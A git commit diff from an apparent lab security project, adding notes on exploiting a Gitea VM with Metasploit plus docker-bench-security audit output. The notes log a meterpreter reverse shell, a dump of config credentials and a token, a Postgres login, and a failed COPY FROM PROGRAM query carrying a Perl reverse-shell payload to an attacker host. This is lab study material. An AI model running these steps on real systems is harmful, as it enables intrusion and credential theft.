1
0
This commit is contained in:
Benedikt Galbavy 2025-05-20 00:43:52 +02:00
parent cd112d132f
commit a14b7dc0df
33 changed files with 4398 additions and 229 deletions

View File

@ -145,7 +145,8 @@ according to [docs](https://github.com/docker/docker-bench-security)
```sh
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
docker build --no-cache -t docker-bench-security .
sudo ./docker-bench-security.sh
```
Ubuntu run config
```sh

View File

@ -104,8 +104,3 @@ msf6 auxiliary(scanner/postgres/postgres_login) > run
[*] You can open a Postgres session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
```
```sh
```
```sh
```

244
attack_notes_insecure.md Normal file
View File

@ -0,0 +1,244 @@
manually create account in gitea (demo_user:demo_user)
assuming ALLOW_LOCALNETWORKS is enabled (scenario: same network originally had a different git server, thus migration is now desired)
```sh
msf6 > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_fetch_rce) > set LHOST 192.168.56.20
LHOST => 192.168.56.20
msf6 exploit(multi/http/gitea_git_fetch_rce) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf6 exploit(multi/http/gitea_git_fetch_rce) > set RPORT 3000
RPORT => 3000
msf6 exploit(multi/http/gitea_git_fetch_rce) > set SSL false
SSL => false
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username demo_user
username => demo_user
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password demo_user
password => demo_user
msf6 exploit(multi/http/gitea_git_fetch_rce) > run
[*] Started reverse TCP handler on 192.168.56.20:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.56.20:8080/
[*] Using URL: http://192.168.56.20:8080/6usOy2
[*] Client 192.168.56.10 (curl/7.79.1) requested /6usOy2
[*] Sending payload to 192.168.56.10 (curl/7.79.1)
[*] Sending stage (3045380 bytes) to 192.168.56.10
[*] Meterpreter session 1 opened (192.168.56.20:4444 -> 192.168.56.10:48350) at 2025-05-19 07:35:34 -0400
[*] Command Stager progress - 100.00% done (112/112 bytes)
meterpreter > sysinfo
Computer : 172.18.0.2
OS : (Linux 5.15.0-135-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
shell commands have been prefixed with a `>` for readability, this symbol is not present in the original
```sh
meterpreter > shell
Process 172 created.
Channel 1 created.
> env
USER=git
SHLVL=1
HOME=/data/git
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin
LANG=C
PWD=/data/git/repositories/demo_user/wssbr3glpme5a.git
> ls /data
git
gitea
ssh
> ls /data/gitea
attachments
avatars
conf
indexers
jwt
log
queues
repo-archive
repo-avatars
> ls /data/gitea/conf
app.ini
> cat /data/gitea/conf/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
[repository]
ROOT = /data/git/repositories
[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo
[repository.upload]
TEMP_PATH = /data/gitea/uploads
[server]
APP_DATA_PATH = /data/gitea
DOMAIN = localhost
SSH_DOMAIN = localhost
HTTP_PORT = 3000
ROOT_URL = https://gitea.vm.local/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = false
LFS_CONTENT_PATH = /data/git/lfs
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = postgres
HOST = postgres:5432
NAME = gitea
USER = gitea
PASSWD = gitea
LOG_SQL = false
...
[log]
MODE = console
LEVEL = info
ROUTER = console
ROOT_PATH = /data/gitea/log
[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NDc2NTQxMTB9.qXWoxugJwfYRPl1mm8pQ_Z1dreWr2A2I4Aol5edV8o4
[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
[migrations]
ALLOW_LOCALNETWORKS = true
```
for demonstration purposes,
database setup
```sh
meterpreter > resolve postgres
Host resolutions
================
Hostname IP Address
-------- ----------
postgres 172.18.0.1
meterpreter > portfwd add -l 5432 -p 5432 -r 172.18.0.1
[*] Forward TCP relay created: (local) :5432 -> (remote) 172.18.0.1:5432
meterpreter > background
[*] Backgrounding session 1...
msf6 > use auxiliary/scanner/postgres/postgres_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/postgres/postgres_login) > set USERNAME gitea
USERNAME => gitea
msf6 auxiliary(scanner/postgres/postgres_login) > set PASSWORD gitea
PASSWORD => gitea
msf6 auxiliary(scanner/postgres/postgres_login) > set DATABASE gitea
DATABASE => gitea
msf6 auxiliary(scanner/postgres/postgres_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/postgres/postgres_login) > run
[!] No active DB -- Credential data will not be saved!
[+] 127.0.0.1:5432 - Login Successful: gitea:gitea@gitea
[*] PostgreSQL session 2 opened (127.0.0.1:45027 -> 127.0.0.1:5432) at 2025-05-19 07:55:46 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Bruteforce completed, 1 credential was successful.
[*] 1 Postgres session was opened successfully.
[*] Auxiliary module execution completed
```
```sh
msf6 > use auxiliary/scanner/postgres/postgres_version
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(scanner/postgres/postgres_version) > set SESSION 2
SESSION => 2
msf6 auxiliary(scanner/postgres/postgres_version) > run
[*] 127.0.0.1:5432 Postgres - Version PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
```sh
msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
[*] Using configured payload cmd/unix/reverse_perl
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set SESSION 2
SESSION => 2
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 192.168.56.20
LHOST => 192.168.56.20msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.56.20:4444
[*] : - PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit
[*] Exploiting...
[+] 127.0.0.1:5432 - gqBG2W1VfJT dropped successfully
[+] 127.0.0.1:5432 - gqBG2W1VfJT created successfully
[!] 127.0.0.1:5432 - Unable to execute query: COPY "gqBG2W1VfJT" FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.56.20:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};''';
[-] Insufficient permissions, User must be superuser or in pg_read_server_files group
[-] Exploit Failed
```
most explots require superuser unfortunately, as shown
```sh
msf6 > use auxiliary/admin/postgres/postgres_sql
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(admin/postgres/postgres_sql) > set SESSION 2
SESSION => 2
msf6 auxiliary(admin/postgres/postgres_sql) > set SQL 'SELECT version();'
SQL => SELECT version();
msf6 auxiliary(admin/postgres/postgres_sql) > run
Query Text: 'SELECT version();'
===============================
version
-------
PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (U
buntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit
[*] Auxiliary module execution completed
msf6 auxiliary(admin/postgres/postgres_sql) > set SQL "SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';"
SQL => SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';
msf6 auxiliary(admin/postgres/postgres_sql) > run
Query Text: 'SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';'
==================================================================================================================================
column_name data_type
----------- ---------
allow_create_organization boolean
allow_git_hook boolean
allow_import_local boolean
avatar character varying
...
login_name character varying
login_source bigint
login_type integer
...
passwd character varying
passwd_hash_algo character varying
...
salt character varying
...
[*] Auxiliary module execution completed
```
log:insecure:nmap
log:insecure:gitea_rce
log:insecure:gitea:shell
log:insecure:postgres_session
log:insecure:postgres_exploit_version
log:insecure:postgres_exploit_rce
log:insecure:postgres_exploit_sql

View File

@ -0,0 +1,184 @@
Initializing 2025-05-19T16:22:41+00:00
Section A - Check results
[INFO] 1 - Host Configuration
[INFO] 1.1 - Linux Hosts Specific Configuration
[WARN] 1.1.1 - Ensure a separate partition for containers has been created (Automated)
[INFO] 1.1.2 - Ensure only trusted users are allowed to control Docker daemon (Automated)
[INFO] * Users: vagrant,git
[PASS] 1.1.3 - Ensure auditing is configured for the Docker daemon (Automated)
[PASS] 1.1.4 - Ensure auditing is configured for Docker files and directories -/run/containerd (Automated)
[PASS] 1.1.5 - Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated)
[PASS] 1.1.6 - Ensure auditing is configured for Docker files and directories - /etc/docker (Automated)
[PASS] 1.1.7 - Ensure auditing is configured for Docker files and directories - docker.service (Automated)
[PASS] 1.1.8 - Ensure auditing is configured for Docker files and directories - containerd.sock (Automated)
[WARN] 1.1.9 - Ensure auditing is configured for Docker files and directories - docker.socket (Automated)
[PASS] 1.1.10 - Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated)
[PASS] 1.1.11 - Ensure auditing is configured for Dockerfiles and directories - /etc/docker/daemon.json (Automated)
[PASS] 1.1.12 - 1.1.12 Ensure auditing is configured for Dockerfiles and directories - /etc/containerd/config.toml (Automated)
[INFO] 1.1.13 - Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Automated)
[INFO] * File not found
[WARN] 1.1.14 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Automated)
[WARN] 1.1.15 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim (Automated)
[WARN] 1.1.16 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v1 (Automated)
[WARN] 1.1.17 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v2 (Automated)
[WARN] 1.1.18 - Ensure auditing is configured for Docker files and directories - /usr/bin/runc (Automated)
[INFO] 1.2 - General Configuration
[NOTE] 1.2.1 - Ensure the container host has been Hardened (Manual)
[PASS] 1.2.2 - Ensure that the version of Docker is up to date (Manual)
[INFO] * Using 28.1.1 which is current
[INFO] * Check with your operating system vendor for support and security maintenance for Docker
[INFO] 2 - Docker daemon configuration
[NOTE] 2.1 - Run the Docker daemon as a non-root user, if possible (Manual)
[PASS] 2.2 - Ensure network traffic is restricted between containers on the default bridge (Scored)
[PASS] 2.3 - Ensure the logging level is set to 'info' (Scored)
[PASS] 2.4 - Ensure Docker is allowed to make changes to iptables (Scored)
[PASS] 2.5 - Ensure insecure registries are not used (Scored)
[PASS] 2.6 - Ensure aufs storage driver is not used (Scored)
[INFO] 2.7 - Ensure TLS authentication for Docker daemon is configured (Scored)
[INFO] * Docker daemon not listening on TCP
[INFO] 2.8 - Ensure the default ulimit is configured appropriately (Manual)
[INFO] * Default ulimit doesn't appear to be set
[WARN] 2.9 - Enable user namespace support (Scored)
[PASS] 2.10 - Ensure the default cgroup usage has been confirmed (Scored)
[PASS] 2.11 - Ensure base device size is not changed until needed (Scored)
[WARN] 2.12 - Ensure that authorization for Docker client commands is enabled (Scored)
[WARN] 2.13 - Ensure centralized and remote logging is configured (Scored)
[PASS] 2.14 - Ensure containers are restricted from acquiring new privileges (Scored)
[PASS] 2.15 - Ensure live restore is enabled (Scored)
[PASS] 2.16 - Ensure Userland Proxy is Disabled (Scored)
[INFO] 2.17 - Ensure that a daemon-wide custom seccomp profile is applied if appropriate (Manual)
[INFO] Ensure that experimental features are not implemented in production (Scored) (Deprecated)
[INFO] 3 - Docker daemon configuration files
[PASS] 3.1 - Ensure that the docker.service file ownership is set to root:root (Automated)
[PASS] 3.2 - Ensure that docker.service file permissions are appropriately set (Automated)
[PASS] 3.3 - Ensure that docker.socket file ownership is set to root:root (Automated)
[PASS] 3.4 - Ensure that docker.socket file permissions are set to 644 or more restrictive (Automated)
[PASS] 3.5 - Ensure that the /etc/docker directory ownership is set to root:root (Automated)
[PASS] 3.6 - Ensure that /etc/docker directory permissions are set to 755 or more restrictively (Automated)
[INFO] 3.7 - Ensure that registry certificate file ownership is set to root:root (Automated)
[INFO] * Directory not found
[INFO] 3.8 - Ensure that registry certificate file permissions are set to 444 or more restrictively (Automated)
[INFO] * Directory not found
[INFO] 3.9 - Ensure that TLS CA certificate file ownership is set to root:root (Automated)
[INFO] * No TLS CA certificate found
[INFO] 3.10 - Ensure that TLS CA certificate file permissions are set to 444 or more restrictively (Automated)
[INFO] * No TLS CA certificate found
[INFO] 3.11 - Ensure that Docker server certificate file ownership is set to root:root (Automated)
[INFO] * No TLS Server certificate found
[INFO] 3.12 - Ensure that the Docker server certificate file permissions are set to 444 or more restrictively (Automated)
[INFO] * No TLS Server certificate found
[INFO] 3.13 - Ensure that the Docker server certificate key file ownership is set to root:root (Automated)
[INFO] * No TLS Key found
[INFO] 3.14 - Ensure that the Docker server certificate key file permissions are set to 400 (Automated)
[INFO] * No TLS Key found
[PASS] 3.15 - Ensure that the Docker socket file ownership is set to root:docker (Automated)
[PASS] 3.16 - Ensure that the Docker socket file permissions are set to 660 or more restrictively (Automated)
[PASS] 3.17 - Ensure that the daemon.json file ownership is set to root:root (Automated)
[PASS] 3.18 - Ensure that daemon.json file permissions are set to 644 or more restrictive (Automated)
[PASS] 3.19 - Ensure that the /etc/default/docker file ownership is set to root:root (Automated)
[PASS] 3.20 - Ensure that the /etc/default/docker file permissions are set to 644 or more restrictively (Automated)
[INFO] 3.21 - Ensure that the /etc/sysconfig/docker file permissions are set to 644 or more restrictively (Automated)
[INFO] * File not found
[INFO] 3.22 - Ensure that the /etc/sysconfig/docker file ownership is set to root:root (Automated)
[INFO] * File not found
[PASS] 3.23 - Ensure that the Containerd socket file ownership is set to root:root (Automated)
[PASS] 3.24 - Ensure that the Containerd socket file permissions are set to 660 or more restrictively (Automated)
[INFO] 4 - Container Images and Build File
[WARN] 4.1 - Ensure that a user for the container has been created (Automated)
[WARN] * Running as root: vaultwarden
[WARN] * Running as root: nginx
[WARN] * Running as root: gitea
[NOTE] 4.2 - Ensure that containers use only trusted base images (Manual)
[NOTE] 4.3 - Ensure that unnecessary packages are not installed in the container (Manual)
[NOTE] 4.4 - Ensure images are scanned and rebuilt to include security patches (Manual)
[WARN] 4.5 - Ensure Content trust for Docker is Enabled (Automated)
[WARN] 4.6 - Ensure that HEALTHCHECK instructions have been added to container images (Automated)
[WARN] * No Healthcheck found: [docker.gitea.com/gitea:latest]
[WARN] * No Healthcheck found: [nginx:latest]
[PASS] 4.7 - Ensure update instructions are not used alone in the Dockerfile (Manual)
[NOTE] 4.8 - Ensure setuid and setgid permissions are removed (Manual)
[INFO] 4.9 - Ensure that COPY is used instead of ADD in Dockerfiles (Manual)
[INFO] * ADD in image history: [vaultwarden/server:latest]
[NOTE] 4.10 - Ensure secrets are not stored in Dockerfiles (Manual)
[NOTE] 4.11 - Ensure only verified packages are installed (Manual)
[NOTE] 4.12 - Ensure all signed artifacts are validated (Manual)
[INFO] 5 - Container Runtime
[PASS] 5.1 - Ensure swarm mode is not Enabled, if not needed (Automated)
[PASS] 5.2 - Ensure that, if applicable, an AppArmor Profile is enabled (Automated)
[WARN] 5.3 - Ensure that, if applicable, SELinux security options are set (Automated)
[WARN] * No SecurityOptions Found: vaultwarden
[WARN] * No SecurityOptions Found: nginx
[WARN] * No SecurityOptions Found: gitea
[PASS] 5.4 - Ensure that Linux kernel capabilities are restricted within containers (Automated)
[PASS] 5.5 - Ensure that privileged containers are not used (Automated)
[PASS] 5.6 - Ensure sensitive host system directories are not mounted on containers (Automated)
[WARN] 5.7 - Ensure sshd is not run within containers (Automated)
[WARN] * Container running sshd: gitea
[WARN] 5.8 - Ensure privileged ports are not mapped within containers (Automated)
[WARN] * Privileged Port in use: 80 in nginx
[WARN] * Privileged Port in use: 443 in nginx
[WARN] 5.9 - Ensure that only needed ports are open on the container (Manual)
[WARN] * Port in use: 80 in nginx
[WARN] * Port in use: 443 in nginx
[PASS] 5.10 - Ensure that the host's network namespace is not shared (Automated)
[PASS] 5.11 - Ensure that the memory usage for containers is limited (Automated)
[PASS] 5.12 - Ensure that CPU priority is set appropriately on containers (Automated)
[WARN] 5.13 - Ensure that the container's root filesystem is mounted as read only (Automated)
[WARN] * Container running with root FS mounted R/W: vaultwarden
[WARN] * Container running with root FS mounted R/W: gitea
[WARN] 5.14 - Ensure that incoming container traffic is bound to a specific host interface (Automated)
[WARN] * Port being bound to wildcard IP: 0.0.0.0 in nginx
[WARN] * Port being bound to wildcard IP: 0.0.0.0 in nginx
[PASS] 5.15 - Ensure that the 'on-failure' container restart policy is set to '5' (Automated)
[PASS] 5.16 - Ensure that the host's process namespace is not shared (Automated)
[PASS] 5.17 - Ensure that the host's IPC namespace is not shared (Automated)
[PASS] 5.18 - Ensure that host devices are not directly exposed to containers (Manual)
[INFO] 5.19 - Ensure that the default ulimit is overwritten at runtime if needed (Manual)
[INFO] * Container no default ulimit override: vaultwarden
[INFO] * Container no default ulimit override: nginx
[INFO] * Container no default ulimit override: gitea
[PASS] 5.20 - Ensure mount propagation mode is not set to shared (Automated)
[PASS] 5.21 - Ensure that the host's UTS namespace is not shared (Automated)
[PASS] 5.22 - Ensure the default seccomp profile is not Disabled (Automated)
[NOTE] 5.23 - Ensure that docker exec commands are not used with the privileged option (Automated)
[NOTE] 5.24 - Ensure that docker exec commands are not used with the user=root option (Manual)
[PASS] 5.25 - Ensure that cgroup usage is confirmed (Automated)
[PASS] 5.26 - Ensure that the container is restricted from acquiring additional privileges (Automated)
[WARN] 5.27 - Ensure that container health is checked at runtime (Automated)
[WARN] * Health check not set: nginx
[INFO] 5.28 - Ensure that Docker commands always make use of the latest version of their image (Manual)
[PASS] 5.29 - Ensure that the PIDs cgroup limit is used (Automated)
[PASS] 5.30 - Ensure that Docker's default bridge 'docker0' is not used (Manual)
[PASS] 5.31 - Ensure that the host's user namespaces are not shared (Automated)
[PASS] 5.32 - Ensure that the Docker socket is not mounted inside any containers (Automated)
[INFO] 6 - Docker Security Operations
[INFO] 6.1 - Ensure that image sprawl is avoided (Manual)
[INFO] * There are currently: 3 images
[INFO] 6.2 - Ensure that container sprawl is avoided (Manual)
[INFO] * There are currently a total of 3 containers, with 3 of them currently running
[INFO] 7 - Docker Swarm Configuration
[PASS] 7.1 - Ensure that the minimum number of manager nodes have been created in a swarm (Automated) (Swarm mode not enabled)
[PASS] 7.2 - Ensure that swarm services are bound to a specific host interface (Automated) (Swarm mode not enabled)
[PASS] 7.3 - Ensure that all Docker swarm overlay networks are encrypted (Automated)
[PASS] 7.4 - Ensure that Docker's secret management commands are used for managing secrets in a swarm cluster (Manual) (Swarm mode not enabled)
[PASS] 7.5 - Ensure that swarm manager is run in auto-lock mode (Automated) (Swarm mode not enabled)
[PASS] 7.6 - Ensure that the swarm manager auto-lock key is rotated periodically (Manual) (Swarm mode not enabled)
[PASS] 7.7 - Ensure that node certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
[PASS] 7.8 - Ensure that CA certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
[PASS] 7.9 - Ensure that management plane traffic is separated from data plane traffic (Manual) (Swarm mode not enabled)
Section C - Score
[INFO] Checks: 117
[INFO] Score: 36

View File

@ -0,0 +1,700 @@
{
"dockerbenchsecurity": "1.6.0",
"start": 1747671761,
"tests": [
{
"id": "1",
"desc": "Host Configuration",
"results": [
{
"id": "1.1.1",
"desc": "Ensure a separate partition for containers has been created (Automated)",
"result": "WARN"
},
{
"id": "1.1.2",
"desc": "Ensure only trusted users are allowed to control Docker daemon (Automated)",
"result": "INFO",
"details": "doubtfulusers: vagrant,git",
"items": [
"vagrant,git"
]
},
{
"id": "1.1.3",
"desc": "Ensure auditing is configured for the Docker daemon (Automated)",
"result": "PASS"
},
{
"id": "1.1.4",
"desc": "Ensure auditing is configured for Docker files and directories -/run/containerd (Automated)",
"result": "PASS"
},
{
"id": "1.1.5",
"desc": "Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated)",
"result": "PASS"
},
{
"id": "1.1.6",
"desc": "Ensure auditing is configured for Docker files and directories - /etc/docker (Automated)",
"result": "PASS"
},
{
"id": "1.1.7",
"desc": "Ensure auditing is configured for Docker files and directories - docker.service (Automated)",
"result": "PASS"
},
{
"id": "1.1.8",
"desc": "Ensure auditing is configured for Docker files and directories - containerd.sock (Automated)",
"result": "PASS"
},
{
"id": "1.1.9",
"desc": "Ensure auditing is configured for Docker files and directories - docker.socket (Automated)",
"result": "WARN"
},
{
"id": "1.1.10",
"desc": "Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated)",
"result": "PASS"
},
{
"id": "1.1.11",
"desc": "Ensure auditing is configured for Dockerfiles and directories - /etc/docker/daemon.json (Automated)",
"result": "PASS"
},
{
"id": "1.1.12",
"desc": "1.1.12 Ensure auditing is configured for Dockerfiles and directories - /etc/containerd/config.toml (Automated)",
"result": "PASS"
},
{
"id": "1.1.13",
"desc": "Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Automated)",
"result": "INFO",
"details": "File not found"
},
{
"id": "1.1.14",
"desc": "Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Automated)",
"result": "WARN"
},
{
"id": "1.1.15",
"desc": "Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim (Automated)",
"result": "WARN"
},
{
"id": "1.1.16",
"desc": "Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v1 (Automated)",
"result": "WARN"
},
{
"id": "1.1.17",
"desc": "Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v2 (Automated)",
"result": "WARN"
},
{
"id": "1.1.18",
"desc": "Ensure auditing is configured for Docker files and directories - /usr/bin/runc (Automated)",
"result": "WARN"
},
{
"id": "1.2.1",
"desc": "Ensure the container host has been Hardened (Manual)",
"result": "INFO"
},
{
"id": "1.2.2",
"desc": "Ensure that the version of Docker is up to date (Manual)",
"result": "PASS",
"details": "Using 28.1.1"
}
]
},
{
"id": "2",
"desc": "Docker daemon configuration",
"results": [
{
"id": "2.1",
"desc": "Run the Docker daemon as a non-root user, if possible (Manual)",
"result": "INFO"
},
{
"id": "2.2",
"desc": "Ensure network traffic is restricted between containers on the default bridge (Scored)",
"result": "PASS"
},
{
"id": "2.3",
"desc": "Ensure the logging level is set to 'info' (Scored)",
"result": "PASS"
},
{
"id": "2.4",
"desc": "Ensure Docker is allowed to make changes to iptables (Scored)",
"result": "PASS"
},
{
"id": "2.5",
"desc": "Ensure insecure registries are not used (Scored)",
"result": "PASS"
},
{
"id": "2.6",
"desc": "Ensure aufs storage driver is not used (Scored)",
"result": "PASS"
},
{
"id": "2.7",
"desc": "Ensure TLS authentication for Docker daemon is configured (Scored)",
"result": "INFO",
"details": "Docker daemon not listening on TCP"
},
{
"id": "2.8",
"desc": "Ensure the default ulimit is configured appropriately (Manual)",
"result": "INFO",
"details": "Default ulimit doesn't appear to be set"
},
{
"id": "2.9",
"desc": "Enable user namespace support (Scored)",
"result": "WARN"
},
{
"id": "2.10",
"desc": "Ensure the default cgroup usage has been confirmed (Scored)",
"result": "PASS"
},
{
"id": "2.11",
"desc": "Ensure base device size is not changed until needed (Scored)",
"result": "PASS"
},
{
"id": "2.12",
"desc": "Ensure that authorization for Docker client commands is enabled (Scored)",
"result": "WARN"
},
{
"id": "2.13",
"desc": "Ensure centralized and remote logging is configured (Scored)",
"result": "WARN"
},
{
"id": "2.14",
"desc": "Ensure containers are restricted from acquiring new privileges (Scored)",
"result": "PASS"
},
{
"id": "2.15",
"desc": "Ensure live restore is enabled (Scored)",
"result": "PASS"
},
{
"id": "2.16",
"desc": "Ensure Userland Proxy is Disabled (Scored)",
"result": "PASS"
},
{
"id": "2.17",
"desc": "Ensure that a daemon-wide custom seccomp profile is applied if appropriate (Manual)",
"result": "INFO"
},
{
"id": "2.18",
"desc": "Ensure that experimental features are not implemented in production (Scored)",
"result": "INFO"
}
]
},
{
"id": "3",
"desc": "Docker daemon configuration files",
"results": [
{
"id": "3.1",
"desc": "Ensure that the docker.service file ownership is set to root:root (Automated)",
"result": "PASS"
},
{
"id": "3.2",
"desc": "Ensure that docker.service file permissions are appropriately set (Automated)",
"result": "PASS"
},
{
"id": "3.3",
"desc": "Ensure that docker.socket file ownership is set to root:root (Automated)",
"result": "PASS"
},
{
"id": "3.4",
"desc": "Ensure that docker.socket file permissions are set to 644 or more restrictive (Automated)",
"result": "PASS"
},
{
"id": "3.5",
"desc": "Ensure that the /etc/docker directory ownership is set to root:root (Automated)",
"result": "PASS"
},
{
"id": "3.6",
"desc": "Ensure that /etc/docker directory permissions are set to 755 or more restrictively (Automated)",
"result": "PASS"
},
{
"id": "3.7",
"desc": "Ensure that registry certificate file ownership is set to root:root (Automated)",
"result": "INFO",
"details": "Directory not found"
},
{
"id": "3.8",
"desc": "Ensure that registry certificate file permissions are set to 444 or more restrictively (Automated)",
"result": "INFO",
"details": "Directory not found"
},
{
"id": "3.9",
"desc": "Ensure that TLS CA certificate file ownership is set to root:root (Automated)",
"result": "INFO",
"details": "No TLS CA certificate found"
},
{
"id": "3.10",
"desc": "Ensure that TLS CA certificate file permissions are set to 444 or more restrictively (Automated)",
"result": "INFO",
"details": "No TLS CA certificate found"
},
{
"id": "3.11",
"desc": "Ensure that Docker server certificate file ownership is set to root:root (Automated)",
"result": "INFO",
"details": "No TLS Server certificate found"
},
{
"id": "3.12",
"desc": "Ensure that the Docker server certificate file permissions are set to 444 or more restrictively (Automated)",
"result": "INFO",
"details": "No TLS Server certificate found"
},
{
"id": "3.13",
"desc": "Ensure that the Docker server certificate key file ownership is set to root:root (Automated)",
"result": "INFO",
"details": "No TLS Key found"
},
{
"id": "3.14",
"desc": "Ensure that the Docker server certificate key file permissions are set to 400 (Automated)",
"result": "INFO",
"details": "No TLS Key found"
},
{
"id": "3.15",
"desc": "Ensure that the Docker socket file ownership is set to root:docker (Automated)",
"result": "PASS"
},
{
"id": "3.16",
"desc": "Ensure that the Docker socket file permissions are set to 660 or more restrictively (Automated)",
"result": "PASS"
},
{
"id": "3.17",
"desc": "Ensure that the daemon.json file ownership is set to root:root (Automated)",
"result": "PASS"
},
{
"id": "3.18",
"desc": "Ensure that daemon.json file permissions are set to 644 or more restrictive (Automated)",
"result": "PASS"
},
{
"id": "3.19",
"desc": "Ensure that the /etc/default/docker file ownership is set to root:root (Automated)",
"result": "PASS"
},
{
"id": "3.20",
"desc": "Ensure that the /etc/default/docker file permissions are set to 644 or more restrictively (Automated)",
"result": "PASS"
},
{
"id": "3.21",
"desc": "Ensure that the /etc/sysconfig/docker file permissions are set to 644 or more restrictively (Automated)",
"result": "INFO",
"details": "File not found"
},
{
"id": "3.22",
"desc": "Ensure that the /etc/sysconfig/docker file ownership is set to root:root (Automated)",
"result": "INFO",
"details": "File not found"
},
{
"id": "3.23",
"desc": "Ensure that the Containerd socket file ownership is set to root:root (Automated)",
"result": "PASS"
},
{
"id": "3.24",
"desc": "Ensure that the Containerd socket file permissions are set to 660 or more restrictively (Automated)",
"result": "PASS"
}
]
},
{
"id": "4",
"desc": "Container Images and Build File",
"results": [
{
"id": "4.1",
"desc": "Ensure that a user for the container has been created (Automated)",
"result": "WARN",
"details": "running as root: vaultwarden nginx gitea",
"items": [
"vaultwarden","nginx","gitea"
]
},
{
"id": "4.2",
"desc": "Ensure that containers use only trusted base images (Manual)",
"result": "NOTE"
},
{
"id": "4.3",
"desc": "Ensure that unnecessary packages are not installed in the container (Manual)",
"result": "NOTE"
},
{
"id": "4.4",
"desc": "Ensure images are scanned and rebuilt to include security patches (Manual)",
"result": "NOTE"
},
{
"id": "4.5",
"desc": "Ensure Content trust for Docker is Enabled (Automated)",
"result": "WARN"
},
{
"id": "4.6",
"desc": "Ensure that HEALTHCHECK instructions have been added to container images (Automated)",
"result": "WARN",
"details": "Images w/o HEALTHCHECK: [docker.gitea.com/gitea:latest] [nginx:latest]",
"items": [
"[docker.gitea.com/gitea:latest]","[nginx:latest]"
]
},
{
"id": "4.7",
"desc": "Ensure update instructions are not used alone in the Dockerfile (Manual)",
"result": "PASS"
},
{
"id": "4.8",
"desc": "Ensure setuid and setgid permissions are removed (Manual)",
"result": "NOTE"
},
{
"id": "4.9",
"desc": "Ensure that COPY is used instead of ADD in Dockerfiles (Manual)",
"result": "INFO",
"details": "Images using ADD: [vaultwarden/server:latest]",
"items": [
"[vaultwarden/server:latest]"
]
},
{
"id": "4.10",
"desc": "Ensure secrets are not stored in Dockerfiles (Manual)",
"result": "NOTE"
},
{
"id": "4.11",
"desc": "Ensure only verified packages are installed (Manual)",
"result": "NOTE"
},
{
